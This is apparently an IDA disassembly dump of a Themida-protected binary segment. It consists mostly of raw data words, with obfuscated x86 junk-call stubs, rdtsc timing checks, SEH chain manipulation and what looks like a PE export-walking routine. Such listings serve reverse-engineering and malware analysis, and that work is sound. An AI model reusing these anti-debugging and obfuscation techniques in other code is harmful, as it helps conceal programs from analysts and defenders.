		dd 28Dh, 89616000h, 85292404h, 0AE3312Dh, 7DC7858Dh, 0B5890AE6h
		dd 0AE31661h, 9589D0FFh, 0AE30651h, 50006A96h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 5D4D97CBh
		dd 3F629591h, 128C0Fh, 0DE90000h, 0FF000000h, 9E8770B8h
		dd 16E28D32h, 5167D5Ch,	24247403h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0E9C35040h,	0F18509F9h, 8D0AE311h
		dd 0E32DC9BDh, 53006A0Ah, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 93F6D829h, 6AADFC99h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0B7EBC353h, 383F2EE1h, 0BDBD317Eh, 810AE318h
		dd 24247Ch, 0F100000h, 0B287h, 0F9B58900h, 500AE31Bh, 9E9h
		dd 0E1A13B00h, 7ACF98F0h, 489F1D8h, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 57F24A04h
		dd 2586A945h, 448B31C6h, 85092824h, 0AE30641h, 0E9525050h
		dd 6, 0F39844FCh, 310F801Ch, 531EBE60h,	5BBF6E6Ch, 610FAB07h
		dd 489585Ah, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0C3F8C7ABh, 6359D31h, 858D0AE3h
		dd 0AE67DC7h, 118D0Fh, 0E9600000h, 6, 0A405A0EBh, 0BB66042Eh
		dd 0FF61CECCh, 55B589D0h, 30AE311h, 0FC242444h,	53006AABh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0FF95EB5h, 1684h, 11E900h, 9C430000h, 0E8533EE3h, 71AA30D6h
		dd 873EAF77h, 0F57C064Ch, 0FA81h, 820F0001h, 6B3h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 1AC35747h, 0AEB1084Ah
		dd 1739BD8Dh, 6A0AE3h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 2787EFC3h, 310C6812h, 0E32C65B5h
		dd 8A0FAD0Ah, 0Ch, 6890Fh, 8D310000h, 0AE32ED1h, 24247C81h
		dd 10000000h, 0D4870Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0BB3473C3h, 6F932CF6h
		dd 13E950F8h, 0AB000000h, 1916396Eh, 0ED4C0499h, 2BD2E2F1h
		dd 1050777Ch, 489EE48h,	0BA666024h, 61F84105h, 2824448Bh
		dd 4945BA60h, 85315229h, 0AE312D5h, 52509061h, 6830Fh
		dd 52500000h, 585A310Fh, 0B160310Fh, 585A618Dh,	9E950h
		dd 55D70000h, 8A9BA460h, 9033E8C6h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 16C35343h, 12E9D068h, 62000000h
		dd 0DA249A97h, 0AA7CD00Ah, 44AE5785h, 435BD272h, 218529ADh
		dd 8D0AE309h, 0E67DC785h, 0D0FFF90Ah, 6E960h, 2D350000h
		dd 2366A036h, 75F08166h, 440361B5h, 6A2424h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0E8B7ACC3h
		dd 42A2FE4Ah, 0BD8960A3h, 0AE30FCDh, 15B18D29h,	0F610AE3h
		dd 0E81h, 850F6000h, 0
		dd 3189BD8Bh, 90610AE3h, 52505250h, 310F5250h, 310F585Ah
		dd 8E9h, 0C44F0000h, 38E924FFh,	0F585AF8h, 68A0F31h, 50000000h
		dd 5A310F52h, 50585A58h, 0CE9h,	0B8B9E900h, 257BF01Ah
		dd 6C107479h, 850990CDh, 0AE31E99h, 0BD8DF8ABh,	0AE323A9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0F6C35747h
		dd 77CCBC4Ah, 0F55951A0h, 8BF960ADh, 0E328E19Dh, 7C81610Ah
		dd 2824h, 870F1000h, 0CFh, 119D3360h, 0FC0AE307h, 52505061h
		dd 0E8F0Fh, 9E90000h, 7000000h,	0C0B12204h, 7B9DB7C7h
		dd 0B960310Fh, 63980C63h, 4FEAB8BBh, 585A6112h,	6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0B132C355h, 0AC4E48F0h, 24448B5Ah, 4DB5892Ch
		dd 900AE326h, 52505250h, 310F5250h, 310F585Ah, 310F5250h
		dd 585A585Ah, 0FE9310Fh, 0F3000000h, 0EC61E7C6h, 0ED1B7B1Eh
		dd 0B5CA63D6h, 585A1F3Ah, 60525050h, 0F615A53h,	68A0F31h
		dd 0F000000h, 89h, 90585A00h, 6850F60h,	89000000h, 0E321AD9Dh
		dd 0E5B5890Ah, 610AE308h, 7DC7858Dh, 66600AE6h,	44C4CF81h
		dd 0D0FF61F8h, 698529FCh, 30AE320h, 6A282444h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 29B6C350h, 0E322A995h, 6AAB0Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 2257E9C3h, 2695BD52h
		dd 9E9E7h, 0D5650000h, 0F88AED87h, 89AC8D2Ch, 0E335099Dh
		dd 8DFF5E0Ah, 0AE6ACD8h, 0ACD8BD83h, 75000AE6h,	8DC0330Ah
		dd 0E6BB59B5h, 56E6FF0Ah, 247C81ADh, 28h, 500E7710h, 2C24448Bh
		dd 0C7858D50h, 0FF0AE67Dh, 244403D0h, 0DF8B9728h, 0ACD4858Ah
		dd 0C0840AE6h, 73A0474h, 32574C75h, 0FD75AEC0h,	52FB2B5Eh
		dd 49C933FCh, 0C033D18Bh, 32ACDB33h, 8ACD8AC1h,	0B6D68AEAh
		dd 0EBD16608h, 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h
		dd 0C833EB75h, 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h
		dd 0D03B5AC1h, 835E0F74h, 85FF04C6h, 0AE32C2Dh,	0FFFF5DE9h
		dd 29605EFFh, 0E32C118Dh, 0FE90Ah, 0E6DE0000h, 814B0A77h
		dd 0A980041Dh, 2318468Bh, 9531614Fh, 0AE32BE1h,	2C2D858Bh
		dd 85890AE3h, 0AE31A7Dh, 6AE0D1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 219241C3h, 310518C8h
		dd 0E30A79BDh, 91B5310Ah, 30AE315h, 0E323A985h,	2185890Ah
		dd 2B0AE32Dh, 53006AF6h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0B6C4E8E1h, 0B11571B8h, 0E8608AD1h
		dd 0Bh,	0FD14BAA2h, 1FB789D0h, 81299787h, 9DA240E8h, 0E951591Ah
		dd 0Ch,	66D5BAEDh, 4CE7EB0Eh, 74AA05E6h, 2996615Eh, 0E31EB1BDh
		dd 0FAD660Ah, 183h, 0E0C1F500h,	51006A02h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8D0F3CB8h
		dd 0Ah,	5E9h, 0C9936600h, 85037E98h, 0AE32DC9h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 49C35141h, 960F7CA3h
		dd 1E9B589h, 95890AE3h,	0AE303FDh, 6840FADh, 1000000h
		dd 0E3127D9Dh, 7C81FC0Ah, 2424h, 870F1000h, 0CFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 5CC35040h, 8241D136h
		dd 0F6814A7h, 687h, 25BD2900h, 500AE31Fh, 66525060h, 0F6886BBh
		dd 0DFBA6631h, 66585A1Bh, 618533BBh, 6A240489h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0A878C351h, 448BFC2Dh, 6A2824h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 6660CBC3h, 6633D3BAh
		dd 168D981h, 66605061h,	8961CA8Bh, 9D892404h, 0AE303E5h
		dd 7DC7858Dh, 60600AE6h, 543ADF81h, 0F614CA2h, 0FF61C8BFh
		dd 0AD8D89D0h, 0E90AE330h, 0Fh,	9C08CF76h, 0D4D420B6h
		dd 3F731728h, 3865197h,	89242444h, 0E32E25BDh, 0C850F0Ah
		dd 0F000000h, 68Bh, 0CDB58900h,	890AE332h, 11C2444h, 0E322A9B5h
		dd 0F185C60Ah, 0AE31Ch,	0AE4E85C7h, 0AE6h, 85C70000h, 0AE6ACDCh
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+0AE31269h], eax
		push	0
		push	edi
		call	sub_5BE081
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE081	proc near		; CODE XREF: Themida_:005BE079p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5BE081	endp

; ---------------------------------------------------------------------------
		pusha
		add	eax, 0C105D764h
		mov	edi, 52006A61h
		call	sub_5BE0A4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE0A4	proc near		; CODE XREF: Themida_:005BE09Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5BE0A4	endp

; ---------------------------------------------------------------------------
		dd 0B50B4DCDh, 8C2FC91h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 29608A1Dh, 0E320A585h
		dd 8BF9610Ah, 0E32DC985h, 53006A0Ah, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0D8FE40D4h
		dd 0BFC940B5h, 0FD9D89BBh, 4A0AE308h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 39C35545h, 0E810F87h, 60000000h
		dd 8C0Fh, 0BD8B0000h, 0AE32D69h, 4D26B61h, 68A0Fh, 85890000h
		dd 0AE3219Dh, 0BD01C203h, 0AE32EE5h, 50006A96h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0E9AD7DA0h
		dd 0Ah,	0A26B41F8h, 0CE3D1FADh,	7C81903Eh, 2424h, 870F1000h
		dd 178h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 14h,	19C35242h, 9FBE6660h, 258D29D6h, 610AE312h, 0AE990h
		dd 0CFF40000h, 7E891926h, 461F3091h, 0E9525050h, 12h, 0CC306876h
		dd 7FEE3B8Bh, 26D11511h, 47671FBh, 310F3063h, 52505250h
		dd 585A310Fh, 890F310Fh, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		nop
		push	0
		push	edi
		call	sub_5BE20C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE20C	proc near		; CODE XREF: Themida_:005BE204p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5BE20C	endp

; ---------------------------------------------------------------------------
		dd 647D8A40h, 0BEB596CFh, 0E800F9Ch, 0E9000000h, 9, 0E0957F52h
		dd 9EF83CB7h, 24448B3Dh, 53006A28h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 21B5297Fh, 0F0AE335h
		dd 686h, 0C58D0900h, 500AE309h,	1B8E0Fh, 820F0000h, 15h
		dd 10E9h, 0F3894400h, 0BB525BFh, 4ECB823Dh, 0ABCBF50Dh
		dd 24048945h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	0D9C35747h, 9F301120h, 8B0FB197h, 0Bh, 6E9h, 9A49C400h
		dd 8DD5ECA6h, 0E67DC785h, 52006A0Ah, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 1FABD5B1h
		dd 0FFF8706Bh, 52006AD0h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0F62536D8h, 0B521A966h
		dd 0FFFD1AE9h, 55006AFFh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0E6A9E549h, 0E9F9F598h
		dd 9, 21085A9Bh, 3B795266h
; ---------------------------------------------------------------------------
		xchg	eax, esp


loc_5BE345:				; CODE XREF: Themida_:loc_5BD1D2j
		lea	eax, [ebp+0AE6C13Eh]
		jmp	loc_5BE355
; ---------------------------------------------------------------------------
		dd 0CE3EC430h
; ---------------------------------------------------------------------------
		stc


loc_5BE355:				; CODE XREF: Themida_:005BE34Bj
		nop
		push	eax
		push	edx
		jbe	loc_5BE372
		jmp	loc_5BE372
; ---------------------------------------------------------------------------
		db 11h
		dd 6D5379FAh, 0F9ACC38Dh, 0F6D8293Eh
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		cdq


loc_5BE372:				; CODE XREF: Themida_:005BE358j
					; Themida_:005BE35Ej
		rdtsc
		pusha
		call	near ptr loc_5BE37C+8
		db	64h
		daa


loc_5BE37C:				; CODE XREF: Themida_:005BE375p
		imul	edi, [edi-5332EE5h], 0E95F4DF6h
		add	eax, 84000000h
		push	edi
		pop	ss
		call	near ptr 58B6453Ch
		push	eax
		jmp	loc_5BE3A6
; ---------------------------------------------------------------------------
		retf	37A3h
; ---------------------------------------------------------------------------
		db 38h
		dd 34860686h, 0A12492Ch
		db 98h,	9
; ---------------------------------------------------------------------------


loc_5BE3A6:				; CODE XREF: Themida_:005BE393j
		nop
		sub	[ebp+0AE31E31h], edx
		push	large dword ptr	fs:0
		push	0
		push	edi
		call	sub_5BE3BF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE3BF	proc near		; CODE XREF: Themida_:005BE3B7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5BE3BF	endp

; ---------------------------------------------------------------------------
		db 9Fh
		dd 0F9209B4Ah, 6024048Bh, 60F6BB66h, 11E8h, 7E7C6400h
		dd 0D5C7BE2Eh, 0A560DCE1h, 0B288822h, 5BF57106h, 0ED858961h
		dd 0E90AE315h, 0Dh, 1480B9E1h, 0B25A65C3h, 0B206AABFh
		dd 258964B3h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5BE41F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE41F	proc near		; CODE XREF: Themida_:005BE417p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5BE41F	endp

; ---------------------------------------------------------------------------
		db 6Bh
		dd 0E1EE0562h, 0E93EB987h, 0Ah,	144EE076h, 0B2C684A1h
		dd 858DE873h, 0AE6BFB2h, 16089FCh, 0D5BD2960h, 890AE31Fh
		dd 0E333199Dh, 8C0F610Ah, 6, 1B6D8509h,	0EEE90AE3h, 6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 381EC357h, 0DEEB9D7h, 31C19D89h, 0DB8B0AE3h
		dd 0E8h, 0ED815D00h, 0AE6BFABh,	12FF9CBCh, 21BD8300h, 0AE326h
		dd 858B1874h, 0AE31A65h, 8B0000C6h, 0E316F985h,	0C60Ah
		dd 109995FFh, 0FF600AE3h, 0E6A8E0B5h, 0E4858D0Ah, 500AE6A8h
		dd 0AADC858Dh, 0FF500AE6h, 0E32E6195h, 0CC4830Ah, 9E961h
		dd 6A1F0000h, 6563270Eh, 893BAF3Ah, 0E312EDB5h,	0DCB58D0Ah
		dd 600AE6AAh, 0CF99D2Bh, 870F0AE3h, 2, 0F861F08Bh, 0AF1BD8Dh
		dd 6A0AE3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 7D1792C3h, 9E92Fh, 0ED4C0000h, 2BD2E2F1h
		dd 8050777Ch, 840F003Eh, 41h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 21C35242h, 612AB9DBh, 61BD09D9h
		dd 0A40AE310h, 158D8B60h, 890AE315h, 0E303C18Dh, 0BCE9610Ah
		dd 89FFFFFFh, 0E3256D85h, 0B80Ah, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0AA6693C3h
		dd 5418D89h, 7B80AE3h, 0E9000000h, 11h,	0E524FB8Bh, 0BFADC246h
		dd 9C66C33Fh, 0B6A48DB4h, 0CE9D8h, 0C6470000h, 46EB5FC3h
		dd 6E100678h, 85C7A150h, 0AE31929h, 1, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 5CC35545h, 3C0F106Dh, 51D5F790h
		dd 4E6E8D8Dh, 8E0F0AE3h, 8, 2820Fh, 61600000h, 8D89E1FFh
		dd 0AE314BDh, 0C245C8Bh, 0E855h, 815D0000h, 0E6C148EDh
		dd 0B8838B0Ah, 89000000h, 0E6A8E085h, 0A4858D0Ah, 890AE6BFh
		dd 0B883h, 0C0335D00h, 56006AC3h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 3C5D26DBh, 6C53225Eh
		dd 952960C6h, 0AE333B5h, 0D34CF0BFh, 60F56118h,	227D9529h
		dd 858D0AE3h, 0AE6C394h, 8E9h, 0FDEDA000h, 3C0489CFh, 5E960B7h
		dd 41000000h, 0BA7177F3h, 10E8h, 4AA57800h, 0A954989h
		dd 0F2573961h, 0DB74BA82h, 0E5950B02h, 5F0AE303h, 50609061h
		dd 0F5E5252h, 0F525031h, 5A585A31h, 0AABF6658h,	0F506114h
		dd 0E8Eh, 0F525000h, 8Fh, 60310F00h, 90585A61h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 76C35040h, 0AFDB683h
		dd 5E9h, 824C6300h, 0FF64E984h,	35h, 12E900h, 607B0000h
		dd 651E4E0Ah, 46AC5A37h, 72E251FBh, 0EB4883F0h,	258964h
		dd 0F5000000h, 0C420858Dh, 6A0AE6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 6AEAFAC3h
		dd 89F8F42Bh, 810F0160h, 0Ch, 6870Fh, 860F0000h, 0
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+0AE31CF1h], 4Fh
		push	0
		push	ebp
		call	sub_5BE79A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE79A	proc near		; CODE XREF: Themida_:005BE792p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5BE79A	endp

; ---------------------------------------------------------------------------
		dw 954Fh
		dd 647A5330h, 0AE9h, 9705A500h,	0B9CC1ED7h, 89AEA485h
		dd 0E31A31B5h, 3E55680Ah, 0E960D905h, 7, 0FD53499Fh, 5062C745h
		dd 615A6160h, 0D5240481h, 0E925C335h, 0Eh, 7DF31FAh, 0F3969E9h
		dd 152F0BCFh, 0B5FF834Fh, 0AE32F11h, 1A19BD29h,	0F600AE3h
		dd 587h, 0A526B900h, 8D614853h,	0E6ACF385h, 0D0FFF50Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 66C35242h
		dd 0B50978CFh, 0AE32545h, 0D1E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 8063943Eh
		dd 509EF59Eh, 0C800FF1h, 0F000000h, 681h, 9DBD2900h, 0E90AE318h
		dd 0Ah,	35DDDED3h, 0A28D7261h, 5C8B1B6Fh, 0E8550C24h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 0AE6C39Eh
		mov	eax, [ebp+0AE33145h]
		mov	[ebp+0AE32F11h], eax
		mov	eax, [ebp+0AE33565h]
		mov	[ebp+0AE30469h], eax
		mov	eax, [ebp+0AE304B5h]
		mov	[ebp+0AE3157Dh], eax
		mov	byte ptr [ebp+0AE31CF1h], 0
		mov	dword ptr [ebp+0AE6AE4Eh], 0
		lea	eax, [ebp+0AE6C420h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		pusha
		push	ecx
		cld
		pop	esi
		jle	loc_5BE8EB
		mov	esi, 2946D4B7h


loc_5BE8EB:				; CODE XREF: Themida_:005BE8E0j
		popa
		push	0
		push	edi
		call	sub_5BE8F7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE8F7	proc near		; CODE XREF: Themida_:005BE8EFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5BE8F7	endp

; ---------------------------------------------------------------------------
		db 32h
		dd 0CCEAAC3Eh, 47CEA425h, 74BCF5F7h, 90012FFh, 0E32B5D85h
		dd 58F640Ah, 0
; ---------------------------------------------------------------------------
		mov	[ebp+0AE321BDh], esi
		add	esp, 4
		push	0
		push	ebx
		call	sub_5BE938
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE938	proc near		; CODE XREF: Themida_:005BE930p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5BE938	endp

; ---------------------------------------------------------------------------
		dd 60392774h, 7E9h, 0B21FFC00h,	0D159C7B2h, 0F61F18Ah
		dd 180h, 0E961F800h, 83h, 56525153h, 245C8B57h,	3B81661Ch
		dd 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh, 5785h
		dd 785B8B00h, 1C245C03h, 324738Bh, 561C2474h, 8B207B8Bh
		dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch
		dd 24540317h, 4C78320h,	0C084028Ah, 33A0874h, 4243E875h
		dd 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h
		dd 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 0E9E9CAh
		dd 4F070000h, 5C9761FEh, 88838A05h, 0A1D76A1h, 8FDD7A0Eh
		dd 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh,	0DF6DF73Dh
		dd 0D773D575h, 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh
		dd 0D57F2D77h, 577DD77Dh, 0DF6D171Eh, 20602075h, 0E0202060h
		dd 0AC2060E0h, 0A9F77B68h, 0D020A1E4h, 0EDA693B2h, 91B99DB7h
		dd 20ACA3F2h, 20602060h, 0E0202060h, 752060E0h,	0D0A3353h
		dd 20557D2Fh, 20602060h, 2BA72860h, 0C950F036h,	0EFB6F360h
		dd 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h, 0F76DB9E9h, 2 dup(20602060h)
		dd 0DF6DF720h, 0D773351Ah, 0F73D577Dh, 75D55FEDh, 6D373353h
		dd 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh, 0D773D575h
		dd 0F73D577Dh, 75D55FEDh, 6D373353h, 1E357D2Fh,	7000E0Ah
		dd 0A3D25D34h, 1E59A0h,	0E9000000h, 0CC6h, 0E6C8A268h
		dd 0B9BFE90Ah, 0B068FFFCh, 0E90AE6C9h, 0FFFCB9B5h, 0E6CA7268h
		dd 0B9ABE90Ah, 5668FFFCh, 0E90AE6CBh, 0FFFCB9A1h, 0E6CBC768h
		dd 0B997E90Ah, 6368FFFCh, 0E90AE6CCh, 0FFFCB98Dh, 0E6CD9768h
		dd 0B983E90Ah, 9E68FFFCh, 0E90AE6CEh, 0FFFCB979h, 0E6CF6D68h
		dd 0B96FE90Ah, 2F68FFFCh, 0E90AE6D0h, 0FFFCB965h, 0E6D10668h
		dd 0B95BE90Ah, 6615FFFCh, 0F298FDADh, 7E004535h, 0FB8CC1B9h
		dd 47094C3Eh, 29D9D684h, 1CCE09BFh, 0E5559639h,	6CDE1BA0h
		dd 0F2A86329h, 0A9D29951h, 7C3BF8E5h, 3498981h,	586F42C8h
		dd 71067B9Fh, 883F92B8h, 5AC3CB4Fh, 92B3E098h, 0EBADFD0h
		dd 8AC635D5h, 68221DAFh, 2208FEFAh, 0FCA51179h,	9BC0643Ch
		dd 3BFCA572h, 79914A7Ah, 0A73BDF92h, 0A54F7823h, 6F013BFCh
		dd 54A4A286h, 0A2EE9DEDh, 10CA05B7h, 0B6548F3Dh, 0F22D5F32h
		dd 76A9E368h, 3BFC714Ah, 87C9AC8Eh, 713F6833h, 65163BFCh
		dd 50DC7FB2h, 0AB7670Fh, 0BAAB37CEh, 0DBE3B2C7h, 5A0DFE1Ch
		dd 0BCEF4BB0h, 3BFC8E93h, 6257816Ah, 83440B56h,	9C1B487h
		dd 0CF4B8434h, 0CBF3DEEAh, 0DCB1590Ch, 18D7E7AEh, 0B45609F2h
		dd 0EA70ABD1h, 0B8C062DBh, 788A54C9h, 28239750h, 4D95CD9Fh
		dd 54895h, 0D4A80100h, 0DFAB5E87h, 0E6443746h, 0DFAB8CB5h
		dd 5EBA6146h, 7496517Bh, 31EA9DF0h, 0DC6F2E7h, 75D3975Dh
		dd 12A71F5h, 0F346DFABh, 6E53B160h, 0A2C9219Fh,	0F1305FE1h
		dd 8FC9BCA4h, 0ABCC204Bh, 6EA33CFCh, 827B0A5Dh,	8DC0B398h
		dd 0E804DFEDh, 40CABD1Dh, 0FBF82E5Bh, 2FB3AC3Bh, 0C8F1BA3Eh
		dd 9D3BFBF7h, 1F89BBEEh, 731ABE7Ch, 0EE49F619h,	45434D95h
		dd 33000000h, 488335A8h, 0D51F79C2h, 64373315h,	3CFC94B4h
		dd 416AF09Bh, 3BFC9214h, 0C2F5E84Ah, 0C5172A89h, 6E21DE0Eh
		dd 6147EB22h, 4D9524C4h, 0F7CCh, 0C3E86C00h, 3BFBAB9Ah
		dd 0AF681E73h, 2DEA9FFCh, 0B2F2DE2Dh, 0ECBF0349h, 46DFAAC3h
		dd 0E3A8F19Ah, 64D72426h, 3AFD83E6h, 0A3DE4B30h, 222A8F11h
		dd 5D6F42F6h, 97E478E2h, 0A1DEB6E3h, 4DACE852h,	516C43Fh
		dd 46DF6A49h, 0AE8C4775h, 144087CBh, 0ADDDB0B4h, 2963E872h
		dd 0DB7FB8C0h, 0AFD88307h, 8646DF67h, 0B9B1BB95h, 28C0EB4Fh
		dd 2F3CFC7Eh, 5AC0394Ah, 9883A7F1h, 518E3F52h, 0A9A18307h
		dd 0E8D09B5Fh, 0BF3217E2h, 450B6ECCh, 0EDA92402h, 4B7D4704h
		dd 0CE818A90h, 8ABD879Bh, 0DC8F57D2h, 0A2652B6Eh, 0D74C4566h
		dd 26D87C09h, 95Bh, 0B367A0EBh,	3BEF285Eh, 8773B4C6h, 2F83142h
		dd 8C7EB9CFh, 43756F63h, 0C8FFD288h, 51665B0Fh,	0DDEF2298h
		dd 0DF9BA862h, 0F8E3638Ch, 4F5F3A3Bh, 0E8B30749h, 46DFAABFh
		dd 0C6B2E596h, 49A52B48h, 60A515C8h, 0E32B9F58h, 86A4A2A6h
		dd 0B4DD8E02h, 8946DFAAh, 4555AFE2h, 0A183EC58h, 0B843477h
		dd 0D0BB3CFCh, 0C2E8F245h, 35755F1Ah, 0AAD7C446h, 203BFC3Ah
		dd 0E895B33Fh, 0E04D95A0h, 0CAh, 56912558h, 740247B4h
		dd 494D51BBh, 0ED2E5E03h, 2F2B9E6Dh, 79C13A4Ah,	0AB8DB6E5h
		dd 0BB6046DFh, 36F2B951h, 5846DFAAh, 1E73F730h,	0A0ABAF68h
		dd 0BB19474h, 0A7CBF4A7h, 0F9A246DFh, 8A4E0406h, 0D6F3133Ch
		dd 984BDFD6h, 0B710952h, 77243CFCh, 5FA9A183h, 0BA57D09Bh
		dd 0DDCE3217h, 0E2F2991Dh, 84180F53h, 6C107953h, 0E77BFFABh
		dd 0D8FF8BB4h, 5FB96246h, 71074A7Ah, 0BEE7B4B6h, 9746D8FEh
		dd 0A4F731E4h, 0FB09D7CBh, 84DA147h, 0D2F90000h, 5E6CA119h
		dd 0A2D429E1h, 2F50B565h, 0ABDD30EAh, 7D6DBA70h, 0C0BA7D03h
		dd 4901FA8Dh, 0D08A4774h, 0A614CFFDh, 557E2DADh, 283BF8E2h
		dd 7493D4Dh, 893316C4h,	8073B4D8h, 35A8C2CAh, 2F0A4681h
		dd 0C5B8A29Dh, 9E8E7CB7h, 69DF9B53h, 8FDE9AC1h,	0CAB13CFCh
		dd 0DB1E3566h, 59114634h, 48BF536Fh, 0F358C207h, 13845E80h
		dd 82069AA0h, 0B42FB0D9h, 0BA968552h, 0D1434D69h, 0DF1B0048h
		dd 0FBD50EBAh, 73D5955Fh, 320873F7h, 0E4B5EF16h, 4D0B1C78h
		dd 4C3E3175h, 0D2E69B5Fh, 98DA119h, 65E52254h, 455A8396h
		dd 483352B1h, 0D39F2D0Ch, 0B1455F88h, 92453652h, 0FF827956h
		dd 0AA4CE0FDh, 78Bh, 0E357903Bh, 6BDF18AEh, 0F7A36416h
